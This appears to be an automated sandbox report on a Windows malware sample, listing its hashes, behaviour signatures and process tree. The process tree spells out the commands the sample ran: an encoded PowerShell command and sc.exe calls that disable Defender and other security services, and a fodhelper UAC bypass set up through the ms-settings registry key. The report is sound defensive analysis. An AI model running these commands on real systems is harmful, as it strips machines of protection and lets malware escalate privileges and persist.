Analysis
- max time kernel
150s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 02:35
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
cakhia-link.org_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
39 signatures
150 seconds
Behavioral task
behavioral2
Sample
cakhia-link.org_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target cakhia-link.org_hyber.exe
- Size 49KB
- Sample260804-c3e3caep4w
- SHA256 a89a3cccab29f81cdc4358d52b3a7eec9c9c81c3f15202e14d8813b1719302e0
- MD5 9573b88060d72e23ac40fc981581622c
- SHA1 a85dcb821a38942fcfc006f23f71b86d029b40d3
- SHA512 bbf7b5ac272cb13fb6a94a6d438addf510112f499438867771e289318aa153893c38fc03e2eaf0be6d399bd3013ab5db21829adab290c86b9cf9a53bfd8e4313
- SSDEEP 384:EFrb51vIFF66z9S0huAozGYKg+9wFfYZ2PLIEcR1gEfTo7NNQwSb7RAH9iUXFdxg:MrVZZ6zs0hZ7wkwqA/NKPzfX/f4X4j
- TLSH T13D33F64977ED4525E2BF4ABE89B251118731F463DC23DB8E1AD8459E09F3700CCA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/5004-1-0x0000000000D10000-0x0000000000D22000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" cakhia-link.org_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1096 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" cakhia-link.org_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts cakhia-link.org_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2396 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf cakhia-link.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf cakhia-link.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf cakhia-link.org_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia-link.org_hyber.exe" cakhia-link.org_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 5576 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe cakhia-link.org_hyber.exe File created C:\Windows\system32\sysupdate.exe cakhia-link.org_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe cakhia-link.org_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 4544 wscript.exe 1708 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" cakhia-link.org_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\538121514.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1084 sc.exe 2056 sc.exe 1036 sc.exe 2056 sc.exe 1732 sc.exe 1440 sc.exe 4824 sc.exe 4380 sc.exe 2548 sc.exe 4916 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 476 cmd.exe 1200 cmd.exe 5884 cmd.exe 4824 cmd.exe 4260 cmd.exe 2976 cmd.exe 4360 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5132 ipconfig.exe 5776 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3784 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2984 vssadmin.exe 4816 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\WallpaperStyle = "2" cakhia-link.org_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open cakhia-link.org_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command cakhia-link.org_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open cakhia-link.org_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\DelegateExecute cakhia-link.org_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet cakhia-link.org_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell cakhia-link.org_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia-link.org_hyber.exe" cakhia-link.org_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" cakhia-link.org_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia-link.org_hyber.exe\" \"%1\"" cakhia-link.org_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell cakhia-link.org_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings cakhia-link.org_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command cakhia-link.org_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell cakhia-link.org_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings cakhia-link.org_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open cakhia-link.org_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command cakhia-link.org_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4188 schtasks.exe 4692 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1096 powershell.exe 1096 powershell.exe 1096 powershell.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 552 WMIC.exe 552 WMIC.exe 552 WMIC.exe 552 WMIC.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 2388 WMIC.exe 2388 WMIC.exe 2388 WMIC.exe 2388 WMIC.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe 5004 cakhia-link.org_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 5108 LogonUI.exe Token: SeCreatePagefilePrivilege 5108 LogonUI.exe Token: SeDebugPrivilege 5004 cakhia-link.org_hyber.exe Token: SeDebugPrivilege 1096 powershell.exe Token: SeIncreaseQuotaPrivilege 1096 powershell.exe Token: SeSecurityPrivilege 1096 powershell.exe Token: SeTakeOwnershipPrivilege 1096 powershell.exe Token: SeLoadDriverPrivilege 1096 powershell.exe Token: SeSystemProfilePrivilege 1096 powershell.exe Token: SeSystemtimePrivilege 1096 powershell.exe Token: SeProfSingleProcessPrivilege 1096 powershell.exe Token: SeIncBasePriorityPrivilege 1096 powershell.exe Token: SeCreatePagefilePrivilege 1096 powershell.exe Token: SeBackupPrivilege 1096 powershell.exe Token: SeRestorePrivilege 1096 powershell.exe Token: SeShutdownPrivilege 1096 powershell.exe Token: SeDebugPrivilege 1096 powershell.exe Token: SeSystemEnvironmentPrivilege 1096 powershell.exe Token: SeRemoteShutdownPrivilege 1096 powershell.exe Token: SeUndockPrivilege 1096 powershell.exe Token: SeManageVolumePrivilege 1096 powershell.exe Token: 33 1096 powershell.exe Token: 34 1096 powershell.exe Token: 35 1096 powershell.exe Token: 36 1096 powershell.exe Token: SeIncBasePriorityPrivilege 5004 cakhia-link.org_hyber.exe Token: SeIncreaseQuotaPrivilege 1096 powershell.exe Token: SeSecurityPrivilege 1096 powershell.exe Token: SeTakeOwnershipPrivilege 1096 powershell.exe Token: SeLoadDriverPrivilege 1096 powershell.exe Token: SeSystemProfilePrivilege 1096 powershell.exe Token: SeSystemtimePrivilege 1096 powershell.exe Token: SeProfSingleProcessPrivilege 1096 powershell.exe Token: SeIncBasePriorityPrivilege 1096 powershell.exe Token: SeCreatePagefilePrivilege 1096 powershell.exe Token: SeBackupPrivilege 1096 powershell.exe Token: SeRestorePrivilege 1096 powershell.exe Token: SeShutdownPrivilege 1096 powershell.exe Token: SeDebugPrivilege 1096 powershell.exe Token: SeSystemEnvironmentPrivilege 1096 powershell.exe Token: SeRemoteShutdownPrivilege 1096 powershell.exe Token: SeUndockPrivilege 1096 powershell.exe Token: SeManageVolumePrivilege 1096 powershell.exe Token: 33 1096 powershell.exe Token: 34 1096 powershell.exe Token: 35 1096 powershell.exe Token: 36 1096 powershell.exe Token: SeDebugPrivilege 5576 tasklist.exe Token: SeDebugPrivilege 5300 whoami.exe Token: SeDebugPrivilege 5776 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 552 WMIC.exe Token: SeSecurityPrivilege 552 WMIC.exe Token: SeTakeOwnershipPrivilege 552 WMIC.exe Token: SeLoadDriverPrivilege 552 WMIC.exe Token: SeSystemProfilePrivilege 552 WMIC.exe Token: SeSystemtimePrivilege 552 WMIC.exe Token: SeProfSingleProcessPrivilege 552 WMIC.exe Token: SeIncBasePriorityPrivilege 552 WMIC.exe Token: SeCreatePagefilePrivilege 552 WMIC.exe Token: SeBackupPrivilege 552 WMIC.exe Token: SeRestorePrivilege 552 WMIC.exe Token: SeShutdownPrivilege 552 WMIC.exe Token: SeDebugPrivilege 552 WMIC.exe Token: SeSystemEnvironmentPrivilege 552 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5004 cakhia-link.org_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 5108 LogonUI.exe 5108 LogonUI.exe 5004 cakhia-link.org_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 5004 wrote to memory of 1096 5004 cakhia-link.org_hyber.exe 91 PID 5004 wrote to memory of 4824 5004 cakhia-link.org_hyber.exe 124 PID 5004 wrote to memory of 1036 5004 cakhia-link.org_hyber.exe 95 PID 5004 wrote to memory of 4380 5004 cakhia-link.org_hyber.exe 97 PID 5004 wrote to memory of 2056 5004 cakhia-link.org_hyber.exe 143 PID 5004 wrote to memory of 1732 5004 cakhia-link.org_hyber.exe 100 PID 5004 wrote to memory of 1440 5004 cakhia-link.org_hyber.exe 103 PID 5004 wrote to memory of 2548 5004 cakhia-link.org_hyber.exe 105 PID 5004 wrote to memory of 4916 5004 cakhia-link.org_hyber.exe 107 PID 5004 wrote to memory of 2504 5004 cakhia-link.org_hyber.exe 109 PID 2504 wrote to memory of 1912 2504 fodhelper.exe 110 PID 5004 wrote to memory of 4544 5004 cakhia-link.org_hyber.exe 112 PID 5004 wrote to memory of 4188 5004 cakhia-link.org_hyber.exe 113 PID 5004 wrote to memory of 4260 5004 cakhia-link.org_hyber.exe 120 PID 5004 wrote to memory of 2976 5004 cakhia-link.org_hyber.exe 122 PID 5004 wrote to memory of 4360 5004 cakhia-link.org_hyber.exe 123 PID 5004 wrote to memory of 4824 5004 cakhia-link.org_hyber.exe 124 PID 5004 wrote to memory of 5884 5004 cakhia-link.org_hyber.exe 125 PID 5004 wrote to memory of 1200 5004 cakhia-link.org_hyber.exe 126 PID 5004 wrote to memory of 476 5004 cakhia-link.org_hyber.exe 127 PID 5004 wrote to memory of 4692 5004 cakhia-link.org_hyber.exe 133 PID 5004 wrote to memory of 1708 5004 cakhia-link.org_hyber.exe 136 PID 5004 wrote to memory of 4520 5004 cakhia-link.org_hyber.exe 137 PID 4360 wrote to memory of 5576 4360 cmd.exe 138 PID 5004 wrote to memory of 2984 5004 cakhia-link.org_hyber.exe 139 PID 5004 wrote to memory of 552 5004 cakhia-link.org_hyber.exe 140 PID 5004 wrote to memory of 6076 5004 cakhia-link.org_hyber.exe 141 PID 5004 wrote to memory of 2396 5004 cakhia-link.org_hyber.exe 142 PID 5004 wrote to memory of 2056 5004 cakhia-link.org_hyber.exe 143 PID 5004 wrote to memory of 1084 5004 cakhia-link.org_hyber.exe 144 PID 5884 wrote to memory of 5508 5884 cmd.exe 148 PID 476 wrote to memory of 5776 476 cmd.exe 153 PID 2976 wrote to memory of 3784 2976 cmd.exe 154 PID 5508 wrote to memory of 5024 5508 net.exe 155 PID 1200 wrote to memory of 5132 1200 cmd.exe 149 PID 4260 wrote to memory of 4816 4260 cmd.exe 157 PID 4824 wrote to memory of 5300 4824 cmd.exe 156 PID 6076 wrote to memory of 3344 6076 net.exe 158 PID 4260 wrote to memory of 2388 4260 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\cakhia-link.org_hyber.exe"C:\Users\Admin\AppData\Local\Temp\cakhia-link.org_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5004 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1096
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4824
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1036
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4380
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2056
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1732
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:1440
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2548
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4916
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2504 -
C:\Users\Admin\AppData\Local\Temp\cakhia-link.org_hyber.exe"C:\Users\Admin\AppData\Local\Temp\cakhia-link.org_hyber.exe"3⤵PID:1912
